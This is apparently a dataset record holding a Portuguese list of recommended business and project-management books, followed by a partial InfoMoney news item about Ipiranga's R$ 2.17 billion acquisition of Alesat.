sim uma obra para líderes criativos que estão sempre em busca de alternativas viáveis, tanto funcional quanto financeiramente, para os negócios e para a sociedade. ""Desenvolvimento de Software com Scrum"" de Mike Cohn Guia prático para a implementação imediata - e o sucesso no decorrer do processo - do desenvolvimento ágil com Scrum. O autor apresenta recomendações detalhadas, dicas importantes e estudos de caso reais provenientes de sua experiência com centenas de empresas de software. Também aborda todos os aspectos da transição para o Scrum, entre elas a superação da resistência individual às mudanças do Scrum; o recrutamento de pessoas para projetos Scrum e a construção de equipes eficazes; a liderança de equipes auto-organizadas; e o impacto do Scrum sobre outros departamentos, como Recursos Humanos, infraestrutura e gerenciamento de projetos. ""Confiança Criativa - Libere sua criatividade"" de David Kelley e Tom Kelley Em 'Confiança Criativa', os irmãos Kelley nos lembram que todos temos muitas ideias e insights para oferecer. Eles mostram que a criatividade é uma abordagem proativa na busca por soluções. Nem todos somos artistas, mas podemos ser advogados, médicos, gerentes ou vendedores mais criativos. Inspirados em casos da IDEO e da d.school em Stanford, os irmãos Kelley nos estimulam a beber da nascente da criatividade e da imaginação ao lidar com os problemas. Revelam estratégias específicas para libertar a inventividade de cada um, pois, segundo eles, a criatividade e a capacidade de inovação são como os músculos - quanto mais você usa, mais fortes ficam. ""Maturidade Em Gerenciamento de Projetos"" de Darci Prado Este livro foi escrito para coordenadores de EGP (Escritório de Gerenciamento de Projetos) e profissionais que tenham sob sua responsabilidade uma carteira de projetos. Ele permite que se faça uma avaliação da maturidade em gerenciamento de projetos em uma organização, usando o modelo de maturidade Prado-MMGP e se monte um Plano de Crescimento. ""Não é sorte"" de Eliyahu M. Goldratt Goldratt foi um dos pioneiros na criação de softwares de programação de produção, com o OPT (Optimized Production Technology). Ele também fundou o Instituto Goldratt e mais recentemente fundou a Goldratt Schools e a Goldratt Consulting. Goldratt é um pensador que estimula as pessoas a raciocinar através de soluções simples e de bom senso. Foi descrito pela revista Fortune como um ""guru da indústria"" e pela revista Business Week como um ""gênio"". ""Qualidade Total e Maturidade Organizacional"" de Alonso Soler O Modelo Adaptativo de Implantação da Gestão da Qualidade Total, objeto deste trabalho, é constituído por recomendações específicas de direcionamentos e ações de melhoria contínua, à serem integrados ao planejamento estratégico das organizações. Tais recomendações foram desenvolvidas a partir da introdução de um componente de maturidade e de comportamento evolutivo organizacional no contexto da auto avaliação da qualidade baseada nos Critérios de Excelência do Prêmio Nacional da Qualidade. ""Gerenciando Projetos com Prince2″ de Roberiton Luis Oliveira Ribeiro Um método, um conjunto de regras e processos organizados. Uma estrutura, disposição e ordem de elementos essenciais. Assim é este livro, uma descrição de um método estruturado, com processos integrados e padronizados para o gerenciamento de projetos. ""Como Mensurar Qualquer Coisa"" de Douglas W. Hubbard O livro mostra que é possível medir aspectos considerados intangíveis em muitas organizações, incluindo a satisfação do cliente, a flexibilidade organizacional, o risco tecnológico e o retorno sobre o investimento da tecnologia (ROI). ""Gestão de Projetos: Teoria, Prática e Tendências"" de co-autoria de Maria Angélica Castellani da FIXE Consulting & Training! A proposta deste livro é a de apresentar - mostrando potencialidades e limitações - os fundamentos presentes no PMBOK, mas também apresentar outras práticas e métodos que recentemente veem chamando a atenção em gestão de projetos. O tema da Gestão de Projetos tem despertado interesse cada vez maior nos cursos superiores. A maioria dos cursos em Administração e Engenharia de Produção possuem esta disciplina. Além disso, observa-se também a presença dela em diversos outros cursos (tecnológico, de especialização, pós graduação, etc.), como Marketing, Engenharia Mecânica, Economia, Tecnologia em Produção Industrial, entre outros. Ao mesmo tempo em que se observa uma grande demanda atual por material em gestão de projetos, verifica-se também que a maioria dos livros textos da área prioriza, sobretudo, ao Guia PMBOK. ""A Transição na Gestão de Mudança"" de Katia Soares Este livro destaca a importância do preparo dos atuais líderes para saber gerir a transição interna dos indivíduos, que sempre é motivada a partir de uma transformação organizacional. Aqui o leitor encontra uma visão orgânica e métodos humanísticos que já estão fazendo uma grande diferença nas organizações. ""Corrente Crítica"" de Eliyahu M. Goldratt Uma envolvente obra de ficção voltada à administração empresarial, faz ao Gerenciamento de Projetos o que os outros romances de Eli Goldratt fizeram à Produção e ao Marketing. 'Corrente crítica' é um livro de Administração empresarial escrito ao estilo de obra de ficção, capaz de transformarar a maneira de pensar e agir na área gerencial e a incentivar o administrador a reavaliar suas práticas sob uma um prisma novo e eficiente. ""Gerenciamento de Projetos Orientado por Valor"" de Harold Kerzner e Frank P. Saladis O velho jeito de gerenciar dizia que bom projeto era aquele que atendia as exigências de tempo, custo e desempenho. Mas clientes e patrocinadores dizem hoje que se não entregar o valor prometido, o projeto é um fracasso. Ou seja, o gerente tem hoje que concluir e atender às especificações, criando valor. Gerenciamento de Projetos Orientado por Valor é um guia de fácil leitura vai revolucionar a forma como você enxerga e pratica o gerenciamento de projetos. ""Seja Assertivo"" de Vera Martins O livro apresenta uma introdução à assertividade, explicando não só sua importância mas também como desenvolvê-la, incluindo exercícios práticos e tabelas de acompanhamento. ""Mapas Estratégicos - Balanced Scorecard"" de Kaplan, Robert S. e David P. Norton A constatação da importância dos mapas estratégicos motivou os autores a escrever este terceiro livro da série Balanced Scorecard. Este livro apresenta várias contribuições importantes entre elas um padrão que descreve os componentes básicos de como se cria valor nas perspectivas de processos internos e de aprendizado e crescimento. ""Gerenciamento de Portfólios, Programas e Projetos nas Organizações"" de Darci Prado O objetivo deste livro é apresentar o estado-da-arte de gerenciamento de projetos nas organizações e introduzir uma plataforma para sua implementação, constituída de pilares a serem implantados de acordo com um modelo de maturidade e de forma integrada com os principais processos já existentes, tais como gerenciamento das operações rotineiras e planejamento estratégico. ""DESIGN THINKING - Inovação em Negócios"" de Maurício Viana A partir da concepção deste livro, estende-se aos seus potenciais leitores uma visão inicial das etapas inerentes à abordagem de Desigh Thiking, aplicadas em projeto de inovação. O objetivo deste material é propagar em nosso país a cultura do design como uma ferramenta estratégica para as empresas, bem como a percepção de que a possibilidade de retorno financeiro está, muitas vezes, atrelada à capacidade de abordar as mesmas questões por novos ângulos. ""O Livro Negro do Networking"" de Jeffrey Gitomer O Livro Negro dos Contatos trata de: - Como subir a escada sem pisar (ou montar) nas costas dos outros. - Como conquistar o respeito de um mentor poderoso sem mendigar. - Como desenvolver relacionamentos mais fortes com clientes, chefes, colegas, vendedores, amigos e familiares. - O poder de estar na mesma sala com pessoas poderosas. - Como se associar a pessoas poderosas, e como não se associar a pessoas poderosas. - Como dizer as coisas certas para as pessoas certas nas circunstâncias certas, para causar a impressão certa. - Como maximizar seus contatos, para que eles tenham a ganhar com você - e, mais importante, como ter a ganhar com eles. Mas o segredo é fazer com que eles tenham a ganhar PRIMEIRO. ""Necessária, Sim, mas Não Suficiente"" de Goldratt, Eliyahu M. Este novo livro do consagrado autor de ""A Meta"", investiga o que realmente está acontecendo dentro das empresas de alta tecnologia, já que os investimentos na área estagnaram. Entre outros aspectos, procura apontar formas de como os executivos podem reverter este quadro. ""O Livro Verde da Persuasão"" de Jeffrey Gitomer Este livro vai ensinar você a harmonizar, não a manipular. Vai ensinar a você o poder do engajamento. Vai mostrar como injetar humor no processo de persuasão. ""Gerenciamento Ágil de Projetos"" de Daniel Amaral, Edivandro Conforto e outros A leitura deste livro é fundamental para estudantes e profissionais que pretendem trabalhar na área de projetos, pois traz com clareza e objetividade os principais conceitos de gerenciamento de projetos. É, sem dúvida, um livro que deve figurar na estante de todos os profissionais de projetos do mercado, pois foi desenvolvido com o objetivo de tornar o processo de gerenciamento de projetos simples, flexível e iterativo ao olhar do leitor. ""DESIGN THINKING BRASIL - Empatia, Colaboração e Experimentação"" de Luis Tennyson Pinheiro Neste livro, Tennyson Pinheiro e Luis Alt da live|work, consultoria global de inovação e Design de Serviços, apresentam as raízes e razões de existir do Design Thinking, uma abordagem que permite que empresas coloquem as pessoas no centro de sua estratégia para cocriar com elas soluções de alto valor percebido. ""O Cérebro de alta performance"" de Luis Fernando Garcia Todos os dias você toma decisões, e todas elas têm algum nível de importância e poder de definir seu sucesso ou seu fracasso. Entretanto, quanto dessas decisões é consciente e racional? Quantas vezes perdemos o controle das situações e acabamos agindo por impulso, causando impressões erradas sem perceber? Você tem certeza de que sua percepção está alinhada com a realidade e que consegue usufruir do melhor das oportunidades? A alta performance da mente pode mudar o resultado de seus projetos e planos, e ela só depende de treinamento para ser alcançada. O segredo para usar o potencial total do aparelho mental está no treino das capacidades atribuídas ao nosso cérebro, e principalmente ao córtex pré-frontal, no qual o processo de julgamento de nossas decisões acontece. ""O Livro Azul da Confiança"" de Jeffrey Gitomer A confiança é a base para todos os relacionamentos. Aprenda com Gitomer como fazer as pessoas acreditarem em você e torná-lo seu consultor de confiança, nas áreas de Vendas, Negócios e na própria vida. ""Kanban"" de David J. Anderson Este livro responde as perguntas: - O que é Kanban? - Por que eu iria querer usar Kanban? - Como faço para ir sobre a implementação de Kanban? - Como faço para reconhecer oportunidades de melhoria e o que devo fazer sobre eles? ""Gerenciamento da Integração em Projetos"" de Paulo Mei Nesse livro o leitor encontrará a abordagem do PMI para a integração conforme apresentada na 5ª edição do Guia PMBOK, mas também uma abordagem prática, adquirida ao longo da experiência profissional e dos estudos sobre o tema do autor. ""Gerenciamento das Partes Interessadas"" de Maristela Hurtado A área de gerenciamento das partes interessadas é inédita e foi lançada somente na 5a edição do Guia PMBOK®. A proposta é fornecer processos, ferramentas e técnicas para que o gerente de projetos possa envolver e engajar as diversas pessoas e organizações envolvidas nos projetos, de forma a aumentar as chances de sucesso. Certamente a maior novidade da 5a edição do Guia PMBOK®, as partes interessadas constituem um dos assuntos de maior interesse e destaque em gerenciamento de projetos. ""Fundamentos Do Gerenciamento De Projetos"" de Luis Fernando Torres Neste volume da Coleção Grandes Especialistas Brasileiros - Gerenciamento de Projetos, o autor lança as bases para um bom gerenciamento de projetos, através de estudos de caso, construção teórica e da retórica discorrer sobre as definições de projetos e processos, maturidade em gerenciamento de projetos, tipos de organizações, o papel do gerente de projetos nas organizações, a responsabilidade das organizações frente ao gerenciamento de projetos. Não se busca extinguir o assunto, mas fomentar o pensamento crítico sobre as principais ferramentas e modelos de gerenciamento de projetos nas organizações contemporâneas e, por fim, apresentar pressupostos sobre o futuro do gerenciamento de projetos. ""Gestão de Projetos - As Melhores Práticas"" de Harold Kezner Altos executivos de empresas de classe mundial discutem abertamente estudos de caso que demonstram a evolução do pensamento e as reais estratégias que os ajudaram a chegar à excelência em gestão de projetos em menos de seis anos! Seguindo as orientações do Project Management Institute, líderes de diversos setores falam de: Gerenciamento de risco do projeto; Gerenciamento do portfólio; O escritório de projetos; Equipes integradas e equipes virtuais; Gestão de projetos em culturas multinacionais. ""Como Chegar ao SIM"" de William Ury, Roger Fisher e Bruce Patton Um método direto, aplicável universalmente, de negociação de disputas pessoais e profissionais sem partidarismos - e sem irritação Todas as negociações são diferentes, mas os seus elementos básicos não se alteram. Como Chegar ao Sim oferece uma estratégia comprovada, concisa e detalhada para se chegar a acordos mutuamente aceitáveis em toda espécie de conflito - quer envolvam pais e filhos, vizinhos empregadores e empregados, clientes e empresas, inquilinos e diplomatas. ""AMA Manual de Gerenciamento de Projetos"" de Paul Dinsmore e Jannette Cabanis-Brewin Este livro é a referência para quem trabalha ou pretende trabalhar com gerenciamento de projetos.Aborda os conceitos básicos do Gerenciamento de Projetos incluindo as disciplinas fundamentais e os processos requeridos para assegurar que os projetos sejam executados com sucesso contendo modelos definitivos estudo de casos conselhos dos mais destacados profissionais com experiência em áreas como as de desenho adequado de estruturas organizacionais geração e manutenção do trabalho em equipe e gestão do ciclo de vida do projeto e soluções em profundidade para dilemas específicos do segmento de gerenciamento de projetos. ""Gerenciamento de Processos de Negócio (BPM)"" de Roquemar de Lima Baldam O propósito do livro é nutrir o mercado com informações relevantes sobre a disciplina que hoje mais interesse desperta no ambiente empresarial: o Gerenciamento de Processos. Todas as iniciativas modernas de administração (BSC, ISO 9000, Custeio ABC, Six Sigma, SOX, ISO 14000, indicadores etc.) necessitam da visão de processos. Adicionalmente, os processos constituem a base de discussão para a melhoria do desempenho das organizações e apoio à implantação de sistemas de informação. ""PMI-ACP Exam Prep"" de Mike Griffiths, PMI-ACP, PMP, CSM Escrito por Mike Griffiths (membro do Steering Committee original para a certificação PMI-ACPSM) para a RMC Project, empresa de renome internacional, tendo como fundadora a mais conhecida especialista em Certificações PMI no mundo, Rita Mulcahy. Ela ajudou dezenas de milhares de pessoas a passar na prova para a Certificação PMP, ao longo dos últimos 15 anos. De conteúdo diferenciado tanto pela sua metodologia de ensino como pelo seu material didáctico, é atualmente reconhecido e tornou-se o mais utilizado no mundo inteiro. Se quer garantir sua aprovação na prova para a Certificação PMI-ACP, deve estudar obrigatoriamente com este material! ""The PMI-ACP Exam: How To Pass On Your First Try"" de Andy Crowe, PMI-ACP, PMP, PgMP, CSM É o segundo livro mais recomendado para passar a prova para a Certificação PMI-ACP com segurança. ""Gerenciamento de Projetos - Rosalina e o Piano (Estudo de Caso)"" de Alonso Soler ""Rosalina e o Piano"" é uma metáfora transformada num estudo de caso didático, elaborado no imaginário individual do autor, fruto de suas experiências (sucessos e fracassos: - ""e olha que foram diversos!"") e de suas interações com colegas Gerentes de Projetos. O caso ilustra a lógica do planejamento, monitoramento e controle da execução de um projeto, tal como muitos dos projetos que o Leitor está acostumado a lidar em seu dia a dia. A estória tem início quando um chefe solicita à sua melhor Gerente de Projetos o transporte e a disponibilização do piano da empresa, afinado e limpo, no auditório do 18º andar do prédio, com vistas à realização de um happy hour considerado estratégico para a empresa. ""Além da Reengenharia"" de Michael Hammer Cinco anos após introduzir a reengenharia, que revolucionou o mundo dos negócios, Michael Hammer apresenta uma nova visão dessa revolução que ele mesmo iniciou. No livro, o autor oferece valiosos insights sobre as conseqüências dessas mudanças e como elas afetam nossa vida e trabalho. Hammer mostra como as empresas precisam mudar seu foco e se reorganizar em torno de seus processos neste livro revolucionários sobre os negócios de amanhã. ""Metodologia de Gerenciamento de Portfólio - Teoria e Prática"" de Norberto Almeida e Felipe Almeida O objetivo deste livro é apresentar uma metodologia de gerenciamento de portfólio de projetos, desde a integração com o planejamento estratégico, passando pela abertura do portfólio, identificação, avaliação, seleção e priorização dos componentes, elaborando o plano de gerenciamento de portfólio, até o reporte de desempenho do portfólio, mostrando a teoria e a prática, fornecendo modelos de documentos a serem utilizados pelas empresas e uma ferramenta para priorização e otimização do portfólio de componentes a serem executados no próximo ciclo de vida do portfólio. ""Easybok - Um Guia de Sobrevivência Para o Gerente de Projetos"" de André Ricardi O livro tem por objetivo auxiliar ao Gerente de Projetos, ou àqueles que participam de projetos, a administrar com eficiência seus Projetos, proporcionando mecanismos para o entendimento de uma das maiores referências mundiais em Gerenciamento de Projetos: O Guia PMBOK® (Project Management Body of Knowledge) do PMI® (Project Management Institute). ""PM Mind Map®: a gestão descomplicada de projetos"" de nosso parceiro Paulo Mei Criado pelo consultor e professor Paulo Mei, especialista em gerenciamento de projetos e portfólios, para facilitar o trabalho de gestão de projetos utilizando conceitos da Neurociência e Neuroliderança, é constituído de perspectivas estruturadas em uma sequência lógica, abrigando de forma agrupada e simplificada os principais elementos da gestão de projetos! ""Gerenciamento do Tempo em Projetos"" de Norberto Almeida O objetivo deste livro é fornecer conhecimentos, técnicas e ferramentas para o efetivo gerenciamento de tempo nos projetos, tendo como referência primária o PMBOK® do PMI e as principais publicações e autores sobre o assunto. ""Gestão Profissional do Portfólio de Projetos: maturidade e indicadores"" de Norberto de Oliveira Almeida e Rafael Olivieri Neto Você quer aumentar a taxa de sucesso dos seus projetos? Os autores desenvolveram uma ferramenta gratuita (PPM Ready) para avaliar a prontidão da sua organização para gerenciar o portfólio de projetos e obter um diagnóstico e um plano de ação para alavancar seus resultados. ""Gestão de Negócios e Sustentabilidade: textos selecionados"" de Walther Krause, Walter Gassenferth, Ciro Mendonça da Conceição, Maria Augusta Soares Machado e Silvia Pereira Este livro apresenta textos selecionados para uma gestão empresarial eficaz, que só é conseguida por aqueles que dominam os quatro Ps da Gestão de Negócios: Planejamento, Processos, Pessoas e Projetos. Todos esses Ps vêm acompanhados de outro tema que permeia muitas empresas apenas para compor sua imagem, mas em outras é tratado de forma pragmática e comprometida com o ambiente em que vivemos: a sustentabilidade. ""EPG - Enterprise Project Governance: Governança Corporativa de Projetos"" de Paul Campbell Dinsmore e Luiz Rocha Guia prático, passo a passo, com estudos de casos reais e exemplos que revelam técnicas comprovadas para lidar com iniciativas simultâneas e para assegurar que programas e projetos estejam alinhados aos objetivos da sua empresa. ""Construindo Times Altamente Eficazes"" de Ricardo Viana Vargas Aprenda como transformar um grupo de pessoas em um time de alto desempenho Em um time de alto desempenho há um grande nível de colaboração e inovação que ajuda a produzir resultados superiores de forma consistente. Um time de alto desempenho encontra formas inovadoras de superar problemas, transformando esses fracassos em sucessos. ""Estratégia Seis Sigma"" de Peter S. Pande, Robert P. Neuman; Roland R. Cavanagh Este livro é o primeiro guia passo-a-passo para auxiliar gerentes a implantar o 'Seis Sigma' em todos os setores de negócios, desde o planejamento estratégico ate os serviços oferecidos aos clientes. Aponta também os perigos e erros que podem levar uma iniciativa' Seis Sigma' ao fracasso. A obra mostra como a GE, a Motorola e outras grandes empresas estão aguçando seu desempenho. ""Sobre Mentes Criativas e Empresas Inovadoras"" de Rodolfo Ribas e João Fernandes Este livro procura fornecer informações, ideias ou sugestões que possam ser, quase que imediatamente, colocadas em prática em sua vida ou em seu trabalho. Por exemplo, apresenta ideias sobre como as pessoas podem se tornar mais inovadoras ou como agir para incrementar a criatividade e a inovação em organizações. Se você precisa ou deseja lidar com questões como essa, este livro ajudará você. ""Proyectos Ágiles con Scrum: Flexibilidad, aprendizaje, innovación y colaboración en contextos complejos"" de Martín Alaimo Scrum é uma estrutura que nos permite encontrar práticas emergentes em domínios complexos, como a gestão de projetos de inovação. Não é um processo completo, muito menos uma metodologia. Em vez de fornecer uma descrição completa e detalhada de como as tarefas do projeto devem ser realizadas, gera um contexto relacional e iterativo, de inspeção e constante adaptação para que os envolvidos criem o seu próprio processo. ""Agile Retrospectives: Making Good Teams Great"" de Esther Derby e Diana Larsen. Derby e Larsen mostram as ferramentas, truques e dicas que você precisa para resolver os problemas que você enfrenta no desenvolvimento de um projeto. Você verá como arquitetar retrospectivas em geral, como projetá-las especificamente para seu time e organização, como executá-las efetivamente, como fazer as mudanças necessárias e como aumentar a escala dessas técnicas. Você aprenderá como lidar com problemas e implementar soluções efetivamente durante seu projeto - não apenas no final. ""Otimizando a Produção com a Metodologia Lean"" de Javier Santos, Richard A. Wysk, José M. Torres. Baseado em estudos de caso de sucesso na Europa e EUA do uso da metodolofia Lean na mantufatura (Lean Production ou Lean Manufacturing - práticas baseadas no sistema Toyota de produção), o livro funciona como um mapa de referência para melhoria da performance industrial. ""O Poder do Hábito"" de Charles Duhigg. Segundo o autor, a chave para se exercitar regularmente, perder peso, educar os filhos, tornar-se mais produtivo, criar empresas revolucionárias e alcançar o sucesso é entender como os hábitos funcionam. Ele procura mostrar que, ao dominar esta ciência, todos podem transformar suas empresas e suas vidas. ""Foco"" de Daniel Goleman. Combinando pesquisa de ponta e descobertas práticas, Daniel Goleman mostra por que a base do sucesso em todas as áreas da vida é sua capacidade de ter foco. Numa era de distrações intermináveis, Goleman argumenta que precisamos aprender a aprimorar nosso foco se quisermos prosperar no mundo complexo em que vivemos. Foco traz um olhar inovador sobre o segredo para o alto desempenho e a realização e mostra como a atenção tem um papel fundamental para o sucesso. ""As Armas da Persuasão"" de Robert B. Cialdini. O psicólogo Robert B. Cialdini resolveu se dedicar ao estudo da persuasão para entender quais são os fatores que levam uma pessoa a dizer 'sim' a um pedido e que técnicas exploram melhor esses fatores. Reunindo dados de diversas fontes, Cialdini criou esta obra à todos aqueles que querem saber como influenciar pessoas e, ao mesmo tempo, se defender dos manipuladores. ""Como lidar com o Estresse em Gerenciamento de Projetos"" de Célia Regina Carvalhal. Trazendo sua experiência como executiva por 20 anos e aliando seus conhecimentos na área de Psicologia, especialmente no que se refere ao estresse, e na área de Gerenciamento de Projetos, a autora oferece uma obra de orientação e reflexão, levando o leitor a aprender a lidar com as demandas do mundo corporativo moderno que tanto nos pressionam e também a entender melhor nossas questões pessoais. ""21 Erros Clássicos da Gestão de Projetos"" de Eli Rodrigues. Este livro traz uma coletânea de 21 erros clássicos, obtidos através de relatos de mais de mil alunos de gestão de projetos dos mais diversos setores da economia. Estruturado de forma didática e bem-humorada, apresenta detalhadamente cada situação, permitindo ao leitor conhecer essas experiências, em vez de se arriscar apenas com suas próprias. ""A Arte de Vender Ideias"" de Anne Miller (recomendado por Fernando Lazarini). A arte de vender ideias explica por que é tão difícil que as novas ideias sejam aceitas e como fazer para que sejam levadas a sério e colocadas em prática. Por meio de casos inspiradores, a obra cruza as barreiras entre a psicologia popular, assuntos correntes e gestão de negócios. ""Propósito"" de Joey Reiman. O livro de Joey Reiman detalha uma abordagem comprovada para engajar e alinhar liderança e equipe, fornecedores e fabricantes, vendedores e clientes e marcas e consumidores, por meio de um propósito mais elevado. Aprenda como revelar o que torna sua empresa diferenciada e descubra a força fundamental que sua organização possui e nenhum concorrente pode reproduzir ou substituir. ""Análise de Valor Agregado"" de Ricardo Viana Vargas. Esta obra aborda a análise de valor agregado (Earned Value Analysis), uma ferramenta de avaliação e gerenciamento de projetos. O livro aborda desde conceitos considerados básicos até a viabilidade da ferramenta em projetos específicos, incluindo um capítulo sobre o uso do Microsoft Project na análise de valor agregado. ""Gerenciamento de Projetos de Desenvolvimento"" de Peter Pfeiffer. Este livro apresenta as duas principais fontes teórico-conceituais que embasam o método GPD, através de uma série de conceitos, definições e instrumentos que levam a um marco referencial para um sistema de gerenciamento. Ele pretende ser uma contribuição prática e aplicável para que organizações públicas e privadas que lidam com projetos de cunho social consigam aprimorar a sua eficiência e assim aumentem a eficácia nas suas intervenções em prol do desenvolvimento. ""Checklist - Como fazer as coisas bem feitas"" de Atul Gawande (indicação de Ramiro Saraiva). Neste livro o Atul Gawande tem como objetivo provar que é possível obter melhores resultados e encontrar saídas mais eficazes para quase todo tipo de dificuldade usando checklists. Ele explica como essas listas de verificação viabilizam algumas atividades complexas, de pilotar aviões de grande porte ou acompanhar o mercado de ações a construir arranha-céus. Por meio de pesquisas e conversas com os profissionais, Gawande demonstra como o checklist pode evitar desperdícios, erros graves e até catástrofes. ""Certificação CAPM"" de Carlos Augusto Freitas. Este é o primeiro livro em português específico para times de projetos com ênfase na preparação para o exame de certificação CAPM® do PMI®. A ideia foi juntar, na mesma publicação, o conteúdo do Guia PMBOK®, os assuntos não cobertos pelo guia que caem no exame e a aplicação prática de algumas técnicas de gerenciamento de projetos. Recheada de dicas e alinhada ao Guia PMBOK® 5ª edição, esta segunda edição atualizada é indicada para estudantes, profissionais que atuam em equipes de projetos e futuros gerentes de projetos que desejam ampliar o conhecimento baseado no Guia PMBOK® e/ou estejam se preparando para o exame de certificação CAPM. ""Gerenciamento de Projetos em Tirinhas"" de Alonso Mazini Soler. A leitura atenta e o entendimento da situação ilustrada em cada tirinha levam à formação de opiniões e pontos de vista pessoais acerca da situação vivenciada pela personagem, que são, imediatamente, confrontados com as opiniões e os pontos de vistas de profissionais experientes e reconhecidos do ambiente de projetos - um privilégio que permite expandir as abordagens e modelos mentais, aprimorar as habilidades e enriquecer e acelerar o aprendizado. ""Gestão Pública"" de Margareth Fabiola dos Santos Carneiro. Pela variedade, atualidade e relativa profundidade de assuntos abordados, a obra é indispensável aos profissionais de portfólio, programas e projetos do setor público. O livro consolida conteúdo técnico e teórico proveniente de excelentes e recentes referências bibliográficas. É ricamente ilustrado pelos casos reais apresentados, o que não só reduz a abstração teórica e melhora o entendimento, mas também auxilia na visualização de concreta possibilidade de uso na realidade das organizações. Sobretudo, a inclusão dos casos permite ao leitor conhecer profissionais que são referências na adoção de tais práticas. ""Scrum: Gestão Ágil para Projetos de Sucesso"" de Rafael Sabbagh. Scrum superou métodos tradicionais e tornou-se a forma mais popular de gestão de projetos de desenvolvimento de software e similares. Este livro mostra como os papéis, artefatos, eventos e regras do Scrum podem ajudar organizações a entregarem valor frequentemente para seus clientes com menos riscos, com menor desperdício e com maior qualidade, visibilidade e produtividade. ""Kanban em 10 passos"" de Jesper Boeg. O Kanban representa uma forma única de catalisar a aplicação de princípios Lean de desenvolvimento de produtos, de manutenção e de operações. O Kanban é um método para a implantação de mudanças; não prescreve papéis, práticas ou cerimônias específicas. Em vez disso, oferece uma série de princípios para otimizar o fluxo e a geração de valor do sistemas de entrega de software. O foco do Kanban no contexto e na adaptabilidade tem tornado o método cada vez mais popular para equipes que em que técnicas ágeis não se aplicam diretamente, e em times Agile que procuram maneiras de otimizar seu processo de desenvolvimento. ""Preparatório para Certificação PRINCE2® Foundation"" de Frank Turley. O sucesso dos projetos está diretamente relacionado à capacidade que temos de usar as melhores ferramentas, metodologias e técnicas. Com uma leitura direta e objetiva, o livro apresenta e discute o alicerce do sucesso dos projetos através dos temas, dos princípios e dos processos do PRINCE2®. É uma leitura obrigatória para todo gerente de projetos de sucesso. ""Léxico Lean"" de Lean Enterprise Institute. O ""Léxico Lean"" é um glossário ilustrado. É o resultado da reunião dos conceitos-chave lean com diversos exemplos e ilustrações que esclarecem a linguagem especial usada pelos pensadores lean.Trata-se de uma obra fundamental para facilitar a vida de todos aqueles interessados em conhecer essas práticas, as quais o ajudarão a transformar o seu negócio. ""HCMBOK - O Fator Humano na Liderança de Projetos"" de Vicente Gonçalves. Segundo a obra, temos quatro gerações interagindo no mercado consumidor simultaneamente, o que demanda adequação dos paradigmas organizacionais em quase todas as empresas. Essa abordagem de gestão de mudanças é em muito influenciada pelos novos comportamentos e valores que surgem com cada geração. Este modelo, orientado por atividades que podem ser facilmente compreendidas, atrelados à abordagem de gestão de mudanças, influenciou diretamente a rápida adoção pelos gestores de projetos e os novos comportamentos e valores que surgem com cada geração. ""Gerenciamento de Projetos: Guia para as Certificações CAPM® E PMP®"" de Mário Henrique Trentim. Este livro tem como objetivo preencher uma lacuna na literatura nacional, voltando-se para a certificação em gerenciamento de projetos do PMI®. Trata-se de um guia de estudos aprofundado que oferece tanto uma visão geral e prática de gerenciamento de projetos quanto um estudo pormenorizado dos processos e áreas do conhecimento do PMBOK®. Por isso, pode ser utilizado tanto como forma de preparação para os exames do PMI® quanto para conhecimento do assunto. ""Manual Prático do Plano de Projeto"" de Ricardo Viana Vargas. A nova edição do livro vem com algumas novidades para o leitor. Mais de 50 exemplos e modelos de documentos, novo projeto gráfico, em cores e com novas ilustrações e conteúdo revisado e ampliado de acordo com o guia pmbok 5ª edição. ""eXtreme Programming: Práticas para o dia a dia no desenvolvimento ágil de Software"" de Daniel Wildt, Dionatan Moura, Guilherme Lacerda e Rafael Helm. Neste livro, Daniel Wildt, Dionatan Moura, Guilherme Lacerda e Rafael Helm mostrarão que na verdade não se trata de um único método, mas de um conjunto de práticas que, se bem combinadas, complementam-se em uma sinergia que envolve tanto os membros de dentro do time como o contato destes com o cliente. Conheça práticas de eXtreme Programming e, tendo como base princípios ágeis, desenvolva seus principais valores: comunicação, feedback, simplicidade, coragem e respeito. ""Managing Stakeholders as Clients"" de Mário Henrique Trentim. O veterano gerente de projetos e professor Mário Trentim, oferece aos gerentes de projetos uma nova solução: usar técnicas complexas de vendas para engajar stakeholders como clientes. Escrito em um estilo cândido e de conversação, este guia altamente acessível combina sem esforço teoria com a prática comprovada, a fim de equipá-lo com novas ferramentas e técnicas que você pode aplicar imediatamente. ""Transformação e Adoção Agile, Um Guia de Sobrevivência"" de Michael Sahota. Este livro oferece um conjunto de ferramentas de pensamento essenciais para a compreensão e adoção Agile. Em particular, você vai aprender a usar a cultura de trabalhar de forma mais eficaz com a sua organização. Chamamos o texto de guia de sobrevivência, já que muitas pessoas têm considerado esses instrumentos importantes na compreensão de suas experiências ao trabalhar com Agile. ""Nunca deixe de tentar"" de Michael Jordan. Este título faz parte da coleção 'Na Vida Como no Esporte', que pretende revelar os princípios nos quais grandes atletas e treinadores pautaram suas trajetórias e mostrar como esses valores transcedem o universo esportivo e podem ser aplicados à vida pessoal e profissional. Esta obra traz o depoimento de Michael Jordan sobre sua busca pela excelência e os fundamentos que nortearam sua carreira. Jordan ressalta a importância de fixar metas, manter o foco e não se deixar paralisar pelo medo, e conta como sempre encarou o fracasso como combustível para novas tentativas. O comprometimento, a determinação, o espírito de equipe, a capacidade de liderança e a extrema dedicação do jogador à prática dos fundamentos são analisados, ponto a ponto, por Bernardinho ao longo do livro. Gostou?? Compartilhe!! 9564 Visualizações totais 26 Visualizações Hoje Comentários via Facebook comentários",pt
1465926072,CONTENT SHARED,-1178371721262103855,4417246933621591943,3263714376517557414,,,,HTML,http://www.infomoney.com.br/ultrapar/noticia/5137674/ultrapar-por-meio-ipiranga-assina-compra-ale-por-bilhoes,"Ultrapar, por meio da Ipiranga, assina compra da Ale por R$ 2,17 bilhões","A Ultrapar Participações ( UGPA3 ), informa que sua subsidiária, a Ipiranga Produtos de Petróleo S.A., assinou de compra e venda para a aquisição de 100% da Alesat Combustíveis S.A. e dos que integram a sua operação (ALE), no qual a Ultrapar comparece como interveniente garantidora. O valor global da aquisição totaliza R$ 2,168 bilhões. Em fato relevante enviado à Comissão de Valores Mobiliários (CVM), a informa que o valor a ser pago aos vendedores terá a dedução da líquida da ALE em 31 de dezembro de 2015 e será sujeito a ajustes de capital de giro e endividamento líquido na data do fechamento da transação. ""As partes acordaram ainda a manutenção de conta garantia para pagamento de eventuais passivos ou contingências cujo fato gerador seja anterior ao fechamento da operação"", diz o documento. Conforme a empresa, a consumação da operação está sujeita a determinadas condições suspensivas usuais em negócios dessa natureza, dentre as quais a aprovação do Conselho Administrativo de Defesa Econômica (Cade) e a aprovação pela assembleia-geral de acionistas da Ultrapar, que será convocada oportunamente. A empresa destaca que a operação não ensejará direito de recesso, tendo em vista que 